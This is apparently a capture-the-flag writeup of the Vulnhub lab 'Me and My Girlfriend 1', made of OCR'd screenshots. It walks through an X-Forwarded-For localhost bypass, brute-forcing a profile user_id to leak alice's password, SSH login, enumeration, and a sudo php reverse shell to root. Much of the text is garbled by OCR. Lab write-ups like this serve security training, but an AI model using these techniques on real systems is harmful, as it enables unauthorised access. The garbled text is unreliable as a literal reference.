Writeup for Me and My Girlfriend 1 in (Vulnhub) by TyPhOoN

1.1 use netdiscover for finding ip address

2.1 scan this ip with nmap for more info

3.i use dirb for find subdirectory in this web






| see this web page

192.168.58.8/ .
@ 192.168.58.8 J ¢
NetHunter - Kali GETTing Started

R
£ Most Visited j| Offensive Security
‘Who are you? Hacker? Sorry This Site Can Only Be Accessed local!

Kali Linux -« KaliDocs - KaliTools « ExploitDB Aircrackrng_;-,.}(ali 4

In this time,l check the source code

192.168.58.8/ % | http;//192.168.58.8/ x| +
4 > C @ @ view-source:http://192.168.58.8/ J -
I NetHunter Kali 4 GETTIng Started

% Most Visited ji Offensive Security.
Who are you? Hacker? Sorry This Site Can Only Be Accessed locall<!-- Maybe you can search how to use x-forwarded-for

Kali Linux - KaliDocs -« Kali Tools « ExploitDB Aircrackf‘ng_é.g_{\_ I




| use burp suite for intercepting and i add X-Forwarded-for: localhost
In this time ,The Web Page is change like this

Ceban Corp X http://192.168.58.8/ X | 3¢ Preferences

< - C o @ 192.168.58.8/?page=index
£ Most Visited j Offensive Security - Kali Linux - KaliDocs - Kali Tools

NetHunter - Kali

Welcome To Ceban Corp

Inspiring The People To Great Again!

Home | Login | Register | About

| click register for registration account

M@ Burp Project Intruder Repeater Window Help

Dashboard | Target | #rouy [ Intruder | Repeater | Sequencer | Decoder | Comparer | Extendsr | Project options | User options | c02 | SHELUNG | xssvalidator
hboard icl d 1ol lid

20 Jnsereept | HTTR history | websockets history | options |
¢/ Request to http://192.168.58.8:80
Forward Drop [“interceptis an | Action ¥ Q@
Raw | Params | Headers | Hex
POST /misc/process.phplact=register HTTP/1.1 .
Host: 192.168.56.8 r
X-Forwarded-for: localhost|
User-Agent: Mozilla/5.0 (X11: Linux x86_64; ru:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,%/+;0=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
NamReferer: http://192.168.58.8/ 7page=register
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Em@connection: close
Cookie: PHPSESSID=ibvhdsp5j9290idoikfo6epla2
UseiUpgrade-Insecure-Requests:
Pas name=admin&email=admin%40g.com&username=adnin&password=admin&submit=
L
v
0 matches




« Ceban Corp X http://192.168.58.8/ X | ¥ Preferences
< 2 X @ @ ~0 £ 192.168.58.8/index.php?page=login

L€

£+ Most Visited i Offensive Security - Kali Linux - Kali Docs - Kali Tools + Exploit-DB ™ Aircrackfng_a{,(ali ot NetHunter

Welcome To Ceban Corp

Inspiring The People To Great Again!

ac

Home | Login | Register | About

Username  admin

Password

Login

| register with admin:admin
We need to add X-Forwarde-for: localhost

burp-StartBurp - Tht n 11:21:01 PM- »&

Burp Suite Community Edition v2.1.07 - Temporary Project
« C Burp Project Intruder Repeater Window Help

< [ Dashboard | Target [ fiawy [ intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options | cO2 | SHELLING | xssvalidator |

Iot oot | HTTP history | WebSockets history | Options |

£ Request to http://192.168.58.8:80

Forward Drop [Vinterceptis an | Action

Raw | Params | Headers Hex]

POST /misc/process.phpZact=login HTTP/1.1
Host: 192.168.58.8
X-Forwarde-for: localhost|
User-Agent: Mozilla/5.8 (X11:; Linux x86_64; rv:68.8) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xnl,application/xnl;q=0.9,%/4:q=0.8
Accept-Language: en-US,en;g=0.5
Accept-Encoding: gzip, deflate
UselReferer: http://182.168.58.8/index. phplpage=login
Content-Type: application/x-www-form-urlencoded
Content-Length: 37
Pas§connection: close
S Cookie: PHPSESSID=dilljedc7kepeiosavfpimroes
hLlpgrada-lniecurE-Requesti:

username=admin&password=admin&submit=

| use this username and password to login

e
v

0 matches



In these time,the url address bar show like this
http://192.168.58.8/index.php?page=profile&user_id=12

| use burp suite to brute force this id

After brute forcing
| see username alice and password 4lic3 in id 5

Burp Project Intruder Repeater Window Help

Dashboard | Target

Intruder attack 2

1

= Attack Save Columns
| |Janaet [jfositians Pj Results | Target | Positions | Payloads | Optians | | —

@ ad Sets ‘F\\ter: showing all itams ‘@ | start attack | ”;
d

You can define one|
each payload type €

Request 4| Payload | Status Error | Timeout | Length Comment
200 1433
200 1455
200 1446
200 1444
200 1455
200 1440
200 1418
200 1418
200 1418
200 1446

Payload set: (1]
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Payload type: \ﬂ ¥
45
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@ | Option

@ ualnewn e
00000ooO0oo
00000oo0oo

This payload type &

. | [Request Response
Raw | Headers | Hex | HTML | Render |

<hr>

]
v
1
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3 |
& a
((Remove | | <p><a href="7page=dashboard*>Dashboard</a> | <a href=*7page=profilefuser_id=12">Profile</a> | <a
7
8
s
B
vl

[ Ppaste |

| toad . |

href="7page=logout ">Logout</a»</p>

<hr>

[ clear |

"Alice Geulis"><br>

Add from list

lice"><br>

"disabled"=Change</b

p
| <button disable

[ W (S | Type o search ten 0 matches

@

You can define rules Finished | |

| Add | [Enabled  |Rule

ar

| try to login with this username and password

lucky i got ssh login with this username and password
#SSH alice@192.168.58.8

Password is 4lic3

After ssh login

from 192.1
ice@gfriEND

alice
root

alice
alice
alice
alice

[

RRRRRN

w

.bash_h ory
.bash_logout
.bashrc

W WWwWwWw

.profile

! the Alice's note! N save the record information to give to bob! I know if it's given t
o him then Bob will be hurt but this is better than Bob cheated!

ik job 'is to the root and read the flag

: gfriEND{2f5f21b2af1b¢ 227bcf35544f8709}

.my_secrets$



http://192.168.58.8/index.php?page=profile&user_id=12

| downloaded lINUX=SMart-enumeration

script and run this script

4l

fgames:/usr/local/games

untu 14

4

Current user groups

Is current user in an administrative group?

Are there other users in an administrative groups?
Other users with shell

Environment information

Groups for other users

Other users

Can we sudo without a password?
Can we list sudo commands without a password?

ND:
r

run the

| found php can run without password

In this time i use netcat to listen

| use php reverse shell to get root access in this lab

iEl mp$ su p s



https://github.com/diego-treitos/linux-smart-enumeration

Final flag (flag2 is locate in the root dir )

(root) groups=0(root)

‘import pty;pty.spawn("/bin/bash
:/tmp# cd

/root# 1s

/root# cat fl

hhhh!! You have succ fully hacked this company rver! ho have just learned can get new kno dge from
:) I really hope you guys give me feedback for i L ge whether you like it or not becau it can be a referenc
for me to be even better! I hope this can continue

contribute / give me feedback / sha your writeup!

gfriEND{56fbeef560930e77ff98
root@gfriEND:/root#

Thank for giving your valuable time to read my
writeup (TyPhOoN)



